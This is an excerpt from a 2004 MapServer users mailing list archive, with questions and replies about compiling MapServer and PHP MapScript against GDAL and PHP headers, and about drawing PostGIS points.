$image = $map->drawquery(); $image_url = $image->saveWebImage(); My attempts to correct this by adding --with-gdal (both with and without =dir) have configured fine, but won't 'make' I get the following: [anna at localhost mapserver-4.0.2]$ make gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include maptemplate.c -o maptemplate.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapbits.c -o mapbits.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include maphash.c -o maphash.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapshape.c -o mapshape.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapxbase.c -o mapxbase.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapparser.c -o mapparser.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include maplexer.c -o maplexer.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include maptree.c -o maptree.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapsearch.c -o mapsearch.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapstring.c -o mapstring.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapsymbol.c -o mapsymbol.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapfile.c -o mapfile.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include maplegend.c -o maplegend.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include maputil.c -o maputil.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapscale.c -o mapscale.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapquery.c -o mapquery.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include maplabel.c -o maplabel.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include maperror.c -o maperror.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapprimitive.c -o mapprimitive.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapproject.c -o mapproject.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR -DUSE_GDAL -I/usr/local//include -I/include mapraster.c -o mapraster.o In file included from mapraster.c:5: mapresample.h:53:20: gdal.h: No such file or directory mapresample.h:54:26: cpl_string.h: No such file or directory In file included from mapraster.c:5: mapresample.h:70: parse error before "GDALDatasetH" mapraster.c:22:18: gdal.h: No such file or directory mapraster.c:23:24: cpl_string.h: No such file or directory mapraster.c: In function `msDrawRasterLayerLow': mapraster.c:1387: `GDALDatasetH' undeclared (first use in this function) mapraster.c:1387: (Each undeclared identifier is reported only once mapraster.c:1387: for each function it appears in.) mapraster.c:1387: parse error before "hDS" mapraster.c:1392: `hDS' undeclared (first use in this function) mapraster.c:1392: warning: implicit declaration of function `GDALOpen' mapraster.c:1392: `GA_ReadOnly' undeclared (first use in this function) mapraster.c:1398: warning: implicit declaration of function `EQUAL' mapraster.c:1402: warning: implicit declaration of function `GDALGetProjectionRef' mapraster.c:1402: warning: assignment makes pointer from integer without a cast mapraster.c:1435: warning: implicit declaration of function `GDALGetGeoTransform' mapraster.c:1435: `CE_None' undeclared (first use in this function) mapraster.c:1436: warning: implicit declaration of function `GDALReadWorldFile' mapraster.c:1469: warning: implicit declaration of function `GDALClose' make: *** [mapraster.o] Error 1 Does anyone please have a suggestion???? Anna Forrest SIS Officer Herbert Resource Information Officer PO Box 6000, Ingham Qld 4850 Ph: (07) 4776 0007 Fax: (07) 4776 3077 http://www.hric.org.au hric at ozemail.com.au ------=_NextPart_000_0001_01C43686.B23100D0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I configured and made mapserver/mapscript successfully using 

 

./configure –withgd=3D/usr/local/ --with-jpeg –with-freetype –with-png –with-httpd=3D/usr/local/apache2/bin/httpd –with-php=3D/home/anna/php-4.3.6/ = --with-proj

 

However, when I try to add a raster layer to my map I = get the following error:

Warning: [Mapserver = Error]: msDrawRasterLayer(): Attempt to render raster layer to IMAGEMODE RGB = or RGBA but without GDAL available.  = 24-bit output requires GDAL. In /usr/local/apache2/htdocs/tiki/tiki-map.phtml = on line 242

 

Fatal error: Call to a member function on a = non-object in /usr/local/apache2/htdocs/tiki/tiki-map.phtml on line = 243.

 

These lines are

$image =3D $map->drawquery();

$image_url =3D = $image->saveWebImage();

 

My attempts to correct this by adding =

--with-gdal (both with = and without =3Ddir) have configured fine, but won’t ‘make’  I get the = following:

 

 [anna at localhost mapserver-4.0.2]$ = make

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include        &nbs= p; -I/include      maptemplate.c -o maptemplate.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapbits.c -o mapbits.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      maphash.c -o maphash.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapshape.c -o mapshape.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include        &nbs= p; -I/include      mapxbase.c -o mapxbase.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapparser.c -o mapparser.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      maplexer.c -o maplexer.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      maptree.c -o maptree.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapsearch.c -o mapsearch.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapstring.c -o mapstring.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapsymbol.c -o mapsymbol.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapfile.c -o mapfile.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      maplegend.c -o maplegend.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      maputil.c -o maputil.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapscale.c -o mapscale.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapquery.c -o mapquery.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      maplabel.c -o maplabel.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      maperror.c -o maperror.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapprimitive.c -o mapprimitive.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapproject.c -o mapproject.o

gcc -c -O2  -Wall = -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H

-DUSE_WMS_SVR      = -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP = -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR    -DUSE_GDAL     -I/usr/local//include       &nbs= p;  -I/include      mapraster.c -o mapraster.o

In file included from = mapraster.c:5:

mapresample.h:53:20: gdal.h: No such file or directory

mapresample.h:54:26: cpl_string.h: No such file or directory

In file included from = mapraster.c:5:

mapresample.h:70: parse error before "GDALDatasetH"

mapraster.c:22:18: gdal.h: No such file or = directory

mapraster.c:23:24: cpl_string.h: No such file or = directory

mapraster.c: In function `msDrawRasterLayerLow':

=

mapraster.c:1387: `GDALDatasetH' undeclared (first use in this function)

mapraster.c:1387: (Each undeclared identifier is = reported only once

mapraster.c:1387: for each function it appears = in.)

mapraster.c:1387: parse error before "hDS"

mapraster.c:1392: `hDS' = undeclared (first use in this function)

mapraster.c:1392: warning: implicit declaration of = function `GDALOpen'

mapraster.c:1392: `GA_ReadOnly' undeclared (first use in this function)

mapraster.c:1398: warning: implicit declaration of = function `EQUAL'

mapraster.c:1402: warning: implicit declaration of = function `GDALGetProjectionRef'

mapraster.c:1402: warning: assignment makes pointer = from integer without a cast

mapraster.c:1435: warning: implicit declaration of = function `GDALGetGeoTransform'

mapraster.c:1435: `CE_None' undeclared (first use in this function)

mapraster.c:1436: warning: implicit declaration of = function `GDALReadWorldFile'

mapraster.c:1469: warning: implicit declaration of = function `GDALClose'

make: *** [mapraster.o] Error 1

 

Does anyone please have a = suggestion????

 

Anna Forrest

 

SIS Officer

Herbert Resource Information = Officer

PO = Box 6000, Ingham = Qld 4850

Ph: (07) 4776 = 0007

Fax: (07) 4776 = 3077

http://www.hric.org.au<= span style=3D'mso-no-proof:yes'>

hric at ozemail.com.au=

 

------=_NextPart_000_0001_01C43686.B23100D0-- From jenu_ab at hotmail.com Sun May 9 20:47:11 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Sun, 09 May 2004 22:47:11 -0500 Subject: [Mapserver-users] Data Connection with MS-SQL database Message-ID: Hi guys, need some kind of direction as to how to get lat long information from my MS-SQL database to integrate with mapserver i'm totally lost as to how get this done.... thanks jenu _________________________________________________________________ MSN Toolbar provides one-click access to Hotmail from any Web page ? FREE download! http://toolbar.msn.com/go/onm00200413ave/direct/01/ From stephane.riff at cerene.fr Sun May 9 23:40:36 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Mon, 10 May 2004 08:40:36 +0200 Subject: [Mapserver-users] postgis + coordinates in differents rows In-Reply-To: <1083942689.4591.22.camel@iti.tlse.eikonex.net> References: <1083942689.4591.22.camel@iti.tlse.eikonex.net> Message-ID: <409F23E4.1000607@cerene.fr> Fabien Brachere wrote: >Hello, > >I would like to draw points with Mapserver and Postgis. >My problem is that the points are not in a geometry column but in 2 rows >of a table like this: > >my_table: >CREATE TABLE "foo_31" ( > "id_da_exploitant" SERIAL, > "id" text, > "val" text, >); > >"id" is a string like: "aaaaaa/bbbbb/GEO_X" >or "aaaaaa/bbbbb/GEO_Y". >val is the corresponding value of geographic coordinate (for X and Y). > >I wrote a function which returns a geometry type: >language: pgsql >arguments: character varying, character varying >returns: geometry > >DECLARE >query varchar; >test geometry; >row RECORD; > >BEGIN >query:='select xy_to_point(cast(x as double precision),cast(y as double precision)) as value from (select A.val AS x, B.val AS y FROM ' || $1 || ' A, ' || $1 || ' B WHERE A.id=''' || $2 || 'GEO_X'' AND B.id=''' || $2 || 'GEO_Y'') AS foo;'; > >FOR row IN EXECUTE query LOOP > test = row.value; >END LOOP; > >return test; >END; > >The 2 arguments of the function are: >#1: a table name (like foo_31) >#2: the beginning of id ( aaaaaa/bbbbb ). > >When I call the function: >SELECT my_function('foo_31','aaaaaa/bbbbb/'); >I've got the right answer: >SRID=-1;POINT(558552.25 1975365.75) > >And now my question is: how can I draw this point with mapserver. I >tried to do something like this (in phpMapscript), but with no results: >$couche_da_exploitant->set("data","* from (select >my_function('foo_31','aaaaaa/bbbbb/')) AS foo"); > >If someone has a suggestion, it will be welcome. >Thanks > >Fabien Brachere > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > Hi, You can create a point directly with PHPMapscript like this : $point = ms_newPointObj(); $point->setXY($x,$y); $point->draw($map, $layer, $img,$class_index, $text); See mapscript documentation for more details Bye; From stephane.riff at cerene.fr Sun May 9 23:40:36 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Mon, 10 May 2004 08:40:36 +0200 Subject: [Mapserver-users] postgis + coordinates in differents rows In-Reply-To: <1083942689.4591.22.camel@iti.tlse.eikonex.net> References: <1083942689.4591.22.camel@iti.tlse.eikonex.net> Message-ID: <409F23E4.1000607@cerene.fr> Fabien Brachere wrote: >Hello, > >I would like to draw points with Mapserver and Postgis. >My problem is that the points are not in a geometry column but in 2 rows >of a table like this: > >my_table: >CREATE TABLE "foo_31" ( > "id_da_exploitant" SERIAL, > "id" text, > "val" text, >); > >"id" is a string like: "aaaaaa/bbbbb/GEO_X" >or "aaaaaa/bbbbb/GEO_Y". >val is the corresponding value of geographic coordinate (for X and Y). > >I wrote a function which returns a geometry type: >language: pgsql >arguments: character varying, character varying >returns: geometry > >DECLARE >query varchar; >test geometry; >row RECORD; > >BEGIN >query:='select xy_to_point(cast(x as double precision),cast(y as double precision)) as value from (select A.val AS x, B.val AS y FROM ' || $1 || ' A, ' || $1 || ' B WHERE A.id=''' || $2 || 'GEO_X'' AND B.id=''' || $2 || 'GEO_Y'') AS foo;'; > >FOR row IN EXECUTE query LOOP > test = row.value; >END LOOP; > >return test; >END; > >The 2 arguments of the function are: >#1: a table name (like foo_31) >#2: the beginning of id ( aaaaaa/bbbbb ). > >When I call the function: >SELECT my_function('foo_31','aaaaaa/bbbbb/'); >I've got the right answer: >SRID=-1;POINT(558552.25 1975365.75) > >And now my question is: how can I draw this point with mapserver. I >tried to do something like this (in phpMapscript), but with no results: >$couche_da_exploitant->set("data","* from (select >my_function('foo_31','aaaaaa/bbbbb/')) AS foo"); > >If someone has a suggestion, it will be welcome. >Thanks > >Fabien Brachere > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > Hi, You can create a point directly with PHPMapscript like this : $point = ms_newPointObj(); $point->setXY($x,$y); $point->draw($map, $layer, $img,$class_index, $text); See mapscript documentation for more details Bye; From il_vikingo at yahoo.com Mon May 10 00:47:44 2004 From: il_vikingo at yahoo.com (Andrea Rossi) Date: Mon, 10 May 2004 00:47:44 -0700 (PDT) Subject: [Mapserver-users] Installation problem Message-ID: <20040510074744.90934.qmail@web12310.mail.yahoo.com> Hello. I am trying to install Mapserver-4.0.2 in a PC with this settings: Redhat 9 Postgresql 7.3.4 Postgis php 4.3.5 When i do configure everytng is OK but when I do the make command I have this errors with php. What could be the problem? Thank you. cd mapscript/php3; make; cd ../.. make[1]: Entering directory `/usr/local/src/mapserver-4.0.2/mapscript/php3' gcc -fPIC -O2 -Wall -DCOMPILE_DL=1 -DPHP4 -DUSE_WMS_SVR -DUSE_POSTGIS -DUSE_GDAL -DUSE_OGR -DUSE_THREAD -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_PDF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_JPEG -I/usr/local/src/mapserver-4.0.2 -I/usr/include -I/usr/local/include -I/usr/local/include -I/usr/local/include -I/usr/local/include/php/main -I/usr/local/include/php/main/dl -I/usr/local/include/php/main/main -I/usr/local/include/php/main/Zend -I/usr/local/include/php/main/include -I/usr/local/include/php/main/TSRM -c -o php_mapscript_util.o php_mapscript_util.c In file included from php_mapscript_util.h:58, from php_mapscript_util.c:101: /usr/local/include/php/main/php.h:34:18: zend.h: No such file or directory /usr/local/include/php/main/php.h:35:24: zend_qsort.h: No such file or directory/usr/local/include/php/main/php.h:38:22: zend_API.h: No such file or directory /usr/local/include/php/main/php.h:174:23: zend_hash.h: No such file or directoryIn file included from /usr/local/include/php/main/php.h:175, from php_mapscript_util.h:58, from php_mapscript_util.c:101: /usr/local/include/php/main/php3_compat.h:4: parse error before "pval" /usr/local/include/php/main/php3_compat.h:4: warning: type defaults to `int' in declaration of `pval' /usr/local/include/php/main/php3_compat.h:4: warning: data definition has no type or storage class /usr/local/include/php/main/php.h:176:24: zend_alloc.h: No such file or directory /usr/local/include/php/main/php.h:177:24: zend_stack.h: No such file or directory 